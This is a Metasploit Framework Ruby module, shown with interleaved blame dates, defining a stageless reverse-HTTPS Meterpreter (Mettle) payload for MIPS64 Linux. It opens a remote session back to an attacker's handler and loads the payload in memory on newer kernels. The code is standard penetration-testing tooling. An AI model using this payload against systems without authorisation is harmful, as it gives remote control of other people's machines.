2016-12-09 18:21:52 -06:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2016-12-09 18:21:52 -06:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2025-05-30 06:27:40 -04:00
|
|
|
|
2022-05-04 14:43:05 +01:00
|
|
|
# Module generated by tools/modules/generate_mettle_payloads.rb
|
2016-12-09 18:21:52 -06:00
|
|
|
module MetasploitModule
|
|
|
|
|
|
2026-01-16 11:00:03 +00:00
|
|
|
CachedSize = 1685400
|
2025-02-14 05:42:14 -05:00
|
|
|
|
2016-12-09 18:21:52 -06:00
|
|
|
include Msf::Payload::Single
|
2025-04-08 10:19:25 -04:00
|
|
|
include Msf::Sessions::MeterpreterOptions::Linux
|
2016-12-09 18:21:52 -06:00
|
|
|
include Msf::Sessions::MettleConfig
|
2025-06-11 10:28:23 -04:00
|
|
|
include Msf::Payload::Linux::Mips64::ElfLoader
|
2025-05-30 11:13:47 -04:00
|
|
|
include Msf::Payload::Linux::Mips64::Prepends
|
2016-12-09 18:21:52 -06:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
2025-05-30 06:27:40 -04:00
|
|
|
'Name' => 'Linux Meterpreter, Reverse HTTPS Inline',
|
|
|
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
|
|
|
'Author' => [
|
2017-03-21 04:38:18 -05:00
|
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
2017-10-30 14:04:10 -05:00
|
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
|
|
|
'timwr'
|
2016-12-09 18:21:52 -06:00
|
|
|
],
|
2025-05-30 06:27:40 -04:00
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'Arch' => ARCH_MIPS64,
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Handler' => Msf::Handler::ReverseHttps,
|
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_mips64_Linux
|
2016-12-09 18:21:52 -06:00
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
2025-02-14 06:03:07 -05:00
|
|
|
def generate(_opts = {})
|
2017-06-08 11:20:48 +10:00
|
|
|
opts = {
|
|
|
|
|
scheme: 'https',
|
|
|
|
|
stageless: true
|
2022-05-04 14:43:05 +01:00
|
|
|
}.merge(mettle_logging_config)
|
2025-02-14 05:42:14 -05:00
|
|
|
payload = MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config(opts)).to_binary :exec
|
2025-04-17 06:51:16 -04:00
|
|
|
ds = opts[:datastore] || datastore
|
2025-12-16 10:36:56 -05:00
|
|
|
if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17')
|
|
|
|
|
return payload
|
2025-04-17 06:51:16 -04:00
|
|
|
end
|
2025-12-16 10:36:56 -05:00
|
|
|
in_memory_load(payload) + payload
|
2016-12-09 18:21:52 -06:00
|
|
|
end
|
|
|
|
|
end
|